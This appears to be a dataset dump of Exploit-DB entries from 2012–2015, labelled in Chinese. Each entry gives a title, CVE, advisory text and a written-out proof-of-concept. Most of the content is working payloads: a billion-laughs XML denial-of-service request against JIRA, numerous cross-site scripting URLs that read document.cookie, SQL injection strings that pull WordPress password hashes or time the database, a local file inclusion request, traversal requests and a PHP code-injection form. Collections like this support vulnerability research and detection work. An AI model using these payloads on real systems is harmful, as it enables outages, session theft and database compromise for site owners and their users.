QLWD/code_shield huggingface dataset:
标题: Atlassian Tempo 6.4.3 / JIRA 5.0.0 / Gliffy 3.7.0 - XML Parsing Denial of Service EDB-ID: 37218 CVE: 2012-2926 类型: DOS 平台: JSP 发布日期: 2012-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/53595/info

JIRA, and the Gliffy and Tempo plugins for JIRA are prone to a denial-of-service vulnerability because they fail to properly handle crafted XML data.

Exploiting this issue allows remote attackers to cause denial-of-service conditions in the context of an affected application.

The following versions are affected:

Versions prior to JIRA 5.0.1 are vulnerable.
Versions prior to Gliffy 3.7.1 are vulnerable.
Versions prior to Tempo versions 6.4.3.1, 6.5.1, and 7.0.3 are vulnerable. 

POST somehost.com HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
User-Agent: Jakarta Commons-HttpClient/3.1
Host: somehost.com
Content-Length: 1577

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:SecurityServer" xmlns:aut="http://authentication.integration.crowd.atlassian.com">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:authenticateApplication>
         <urn:in0>
            <aut:credential>
               <aut:credential>stuff1</aut:credential>
               <aut:encryptedCredential>?&lol9;</aut:encryptedCredential>
            </aut:credential>
            <aut:name>stuff3</aut:name>
            <aut:validationFactors>
               <aut:ValidationFactor>
                  <aut:name>stuff4</aut:name>
                  <aut:value>stuff5</aut:value>
               </aut:ValidationFactor>
            </aut:validationFactors>
         </urn:in0>
      </urn:authenticateApplication>
   </soapenv:Body>
</soapenv:Envelope> URL: https://www.exploit-db.com/exploits/37218
标题: LongTail JW Player - 'debug' Cross-Site Scripting EDB-ID: 37205 CVE: 2012-2904 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/53554/info

JW Player is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/player.swf?debug=function(){alert('Simple Alert')} URL: https://www.exploit-db.com/exploits/37205
标题: SiliSoftware PHPThumb() 1.7.11-201108081537 - '/demo/PHPThumb.demo.random.php?dir' Cross-Site Scripting EDB-ID: 37207 CVE: 2012-2910 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/53572/info
 
phpThumb() is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
phpThumb() 1.7.11-201108081537 is vulnerable; other versions may also be affected. 

GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.random.php?dir="><script>alert(document.cookie);</script> HTTP/1.1 URL: https://www.exploit-db.com/exploits/37207
标题: SiliSoftware PHPThumb() 1.7.11-201108081537 - '/demo/PHPThumb.demo.showpic.php?title' Cross-Site Scripting EDB-ID: 37206 CVE: 2012-2910 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/53572/info

phpThumb() is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpThumb() 1.7.11-201108081537 is vulnerable; other versions may also be affected. 

GET [SOME_CMS]/phpthumb/demo/phpThumb.demo.showpic.php?title="><script>alert(document.cookie);</script> HTTP/1.1 URL: https://www.exploit-db.com/exploits/37206
标题: WordPress Plugin Soundcloud Is Gold 2.1 - 'width' Cross-Site Scripting EDB-ID: 37203 CVE: 2012-6624 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/53537/info

The Soundcloud Is Gold plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Soundcloud Is Gold 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin-ajax.php

POSTDATA: action=soundcloud_is_gold_player_preview&request=1&width="></iframe><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/37203
标题: WordPress Plugin zM Ajax Login & Register 1.0.9 - Local File Inclusion EDB-ID: 37200 CVE: 2015-4465 2015-4153 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-04 漏洞利用脚本: # Exploit Title: CVE-2015-4153 - WordPress zM Ajax Login & Register
Plugin [Local File Inclusion]
# Date: 2015/06/01
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://zanematthew.com/
# Software Link:
https://downloads.wordpress.org/plugin/zm-ajax-login-register.1.0.9.zip
# Version: 1.0.9
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4153

* Description

Any authenticated or non-authenticated user can perform a local file
inclusion attack by exploiting the wp_ajax_nopriv_load_template action.
Plugin simply includes the file specified in 'template' POST parameter
without any further validation.

* Proof of Concept

Send a post request to
`http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data:
`action=load_template&template=[relative path to local
file]&security=[wp nonce]&referer=[action from which the nonce came from]`

* Timeline

2015/06/01 Discovered
2015/06/01 Vendor alerted via contact form at his website
2015/06/03 Vendor responded
2015/06/03 Fixed in version 1.1.0


* Solution

Update to version 1.1.0 URL: https://www.exploit-db.com/exploits/37200
标题: WordPress Plugin Share and Follow 1.80.3 - 'admin.php' Cross-Site Scripting EDB-ID: 37202 CVE: 2012-2917 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/53533/info

The Share and Follow plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Share and Follow 1.80.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=share-and-follow-menu
CDN API Key content: &quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/37202
标题: WordPress Plugin WP Forum Server 1.7.3 - '/fs-admin/fs-admin.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37195 CVE: 2012-6622 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/53530/info

WP Forum Server plugin for WordPress is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Forum Server 1.7.3 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=addforum&amp;groupid=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid=2 AND 1=0 UNION SELECT user_pass FROM wp_users WHERE ID=1

http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=usergroups&amp;do=edit_usergroup&amp;usergroup_id='&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/37195
标题: WordPress Plugin Leaflet Maps Marker 0.0.1 - 'leaflet_marker.php?id' Cross-Site Scripting EDB-ID: 37192 CVE: 2012-2913 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/53526/info
 
The Leaflet plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Leaflet 0.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=leaflet_marker&amp;id=&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt; URL: https://www.exploit-db.com/exploits/37192
标题: WordPress Plugin Leaflet Maps Marker 0.0.1 - 'leaflet_layer.php?id' Cross-Site Scripting EDB-ID: 37191 CVE: 2012-2913 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/53526/info

The Leaflet plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Leaflet 0.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=leaflet_layer&amp;id=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E URL: https://www.exploit-db.com/exploits/37191
标题: WordPress Plugin WP-FaceThumb 0.1 - 'pagination_wp_facethum' Cross-Site Scripting EDB-ID: 37155 CVE: 2012-2371 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/53497/info

WP-FaceThumb is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

WP-FaceThumb 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/?page_id=1&pagination_wp_facethumb=1"><img/src=x onerror=alert(document.cookie)> URL: https://www.exploit-db.com/exploits/37155
标题: Chevereto 1.91 - '/Upload/engine.php?v' Cross-Site Scripting EDB-ID: 37147 CVE: 2012-2918 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/53448/info

Chevereto Image Upload Script is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

An attacker may leverage the information-disclosure issue to enumerate the existence of local files. Information obtained may aid in further attacks.

Chevereto Image Upload Script 1.91 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php%00<script>alert(1);</script> URL: https://www.exploit-db.com/exploits/37147
标题: PivotX 2.3.2 - 'ajaxhelper.php' Cross-Site Scripting EDB-ID: 37146 CVE: 2012-2274 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/53434/info

PivotX is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PivotX 2.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/pivotx/ajaxhelper.php?function=view&file=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37146
标题: OrangeHRM 2.7 RC - '/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus' Cross-Site Scripting EDB-ID: 37143 CVE: 2012-1507 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/53433/info
 
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId=1&newHspStatus=1%3Cscript%3Ealert %28document.cookie%29;%3C/script%3E&empId=1 URL: https://www.exploit-db.com/exploits/37143
标题: Ramui Forum Script - 'query' Cross-Site Scripting EDB-ID: 37138 CVE: 2012-6045 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/53411/info

Ramui Forum Script is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com//gb/user/index.php?query=%22%20onmouseover%3dprompt%28991522%29%20bad%3d%22 URL: https://www.exploit-db.com/exploits/37138
标题: Chevereto 1.91 - '/Upload/engine.php?v' Traversal Arbitrary File Enumeration EDB-ID: 37148 CVE: 2012-2919 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/53448/info
 
Chevereto Image Upload Script is prone to a cross-site scripting vulnerability and an information-disclosure vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
An attacker may leverage the information-disclosure issue to enumerate the existence of local files. Information obtained may aid in further attacks.
 
Chevereto Image Upload Script 1.91 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/chevereto/chevereto_nb1.91/Upload/?v=../index.php URL: https://www.exploit-db.com/exploits/37148
标题: OrangeHRM 2.7 RC - 'index.php?URI' Cross-Site Scripting EDB-ID: 37145 CVE: 2012-1507 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/53433/info
   
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php?uri=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37145
标题: OrangeHRM 2.7 RC - '/templates/hrfunct/emppop.php?sortOrder1' Cross-Site Scripting EDB-ID: 37144 CVE: 2012-1507 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/53433/info
  
OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/templates/hrfunct/emppop.php?reqcode=1&sortOrder1=%22%3E%3Cscript%3Ealert%28docume nt.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37144
标题: OrangeHRM 2.7 RC - '/plugins/ajaxCalls/haltResumeHsp.php?hspSummaryId' SQL Injection EDB-ID: 37142 CVE: 2012-1506 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/53433/info

OrangeHRM is prone to an SQL-injection and multiple cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7 RC is vulnerable; prior versions may also be affected. 

http://www.example.com/plugins/ajaxCalls/haltResumeHsp.php?newHspStatus=1&empId=2&hspSummaryId=%27%20 OR%20%28select%20IF%28%28select%20mid%28version%28%29,1,1%29%29=5,%28select%20BENCHMARK%281000000,EN CODE%28%22hello%22,%22goodbye%22%29%29%29,%272%27%29%29%20--%202 URL: https://www.exploit-db.com/exploits/37142
标题: PHP Enter 4.1.2 - 'banners.php' PHP Code Injection EDB-ID: 37140 CVE: 2012-6046 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/53426/info

PHP Enter is prone to a remote PHP code-injection vulnerability.

An attacker can exploit this issue to inject and execute arbitrary PHP code in the context of the affected application. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

PHP Enter 4.1.2 is vulnerable; other versions may also be affected. 

<form method="post" action="http://www.example.com/admin/banners.php">
<center>
<font color=#3A586A>Code</font><br />
<textarea name="code">&lt;/textarea&gt;
<br /><br />
<input type="submit" name="submit" VALUE=" Submit"><br /><br /><br /><br/>
</form> URL: https://www.exploit-db.com/exploits/37140
标题: Trombinoscope 3.x - 'photo.php' Server SQL Injection EDB-ID: 37136 CVE: 2012-4282 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/53398/info

Trombinoscope is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Trombinoscope 3.5 and prior versions are vulnerable. 

http://www.example.com/[script]/photo.php?id=-9999/**/union/**/select/**/1,2,version()-- URL: https://www.exploit-db.com/exploits/37136
标题: MySQLDumper 1.24.4 - Multiple Script Direct Request Information Disclosures EDB-ID: 37130 CVE: 2012-4254 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
     
MySQLDumper is prone to multiple security vulnerabilities, including:
     
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
     
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
     
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/restore.php
http://www.example.com/learn/cubemail/dump.php
http://www.example.com/learn/cubemail/refresh_dblist.php URL: https://www.exploit-db.com/exploits/37130
标题: MySQLDumper 1.24.4 - 'index.php?page' Cross-Site Scripting EDB-ID: 37133 CVE: 2012-4251 类型: WEBAPPS 平台: PHP 发布日期: 2012-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/53306/info
       
MySQLDumper is prone to multiple security vulnerabilities, including:
       
1. Multiple cross-site scripting vulnerabilities.
2. A local file-include vulnerability.
3. Multiple cross-site request-forgery vulnerabilities.
4. Multiple information-disclosure vulnerabilities.
5. A directory-traversal vulnerability.
       
Exploiting these vulnerabilities may allow an attacker to harvest sensitive information, to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, perform unauthorized actions, to view and execute local files within the context of the webserver process and to retrieve arbitrary files in the context of the affected application. This may aid in launching further attacks.
       
MySQLDumper 1.24.4 is vulnerable; other versions may also be affected. 

http://www.example.com/learn/cubemail/index.php?page=javascript:alert%28document.cookie%29; URL: https://www.exploit-db.com/exploits/37133
标题: Schneider Electric Telecontrol Kerweb 3.0.0/6.0.0 - 'kw.dll' HTML Injection EDB-ID: 37137 CVE: 2012-1990 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/53409/info

Multiple Schneider Electric Telecontrol products are prone to an HTML-injection vulnerability because they fail to sufficiently sanitize user-supplied data before it is used in dynamic content.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible.

The following products are affected:

Schneider Electric Telecontrol Kerweb versions prior to 3.0.1
Schneider Electric Telecontrol Kerwin versions prior to 6.0.1 

http://www.example.com/kw.dll?page=evts.xml&sessionid=xxx&nomenu=&typeevtwin=alms&dt=&gtvariablevalue=&ltvariablevalue=&variablevalue=&nevariablevalue=&evtclass=&evtdevicezone=&evtdevicecountry=&evtdeviceregion=&evtstatustype=&evtseveritytype=&evtstatus=&evtseverity=&evtlevel=&gtdateapp=&ltdateapp=&gtdaterec=&ltdaterec=&evtvariablename=[XSS] URL: https://www.exploit-db.com/exploits/37137